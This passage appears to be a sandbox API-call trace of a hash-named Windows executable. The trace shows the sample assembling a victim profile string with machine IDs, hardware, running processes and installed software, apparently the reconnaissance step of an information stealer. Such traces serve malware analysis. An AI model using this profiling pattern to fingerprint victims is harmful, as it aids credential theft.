{c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016"
[0054.959] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.960] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 ["
[0054.960] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 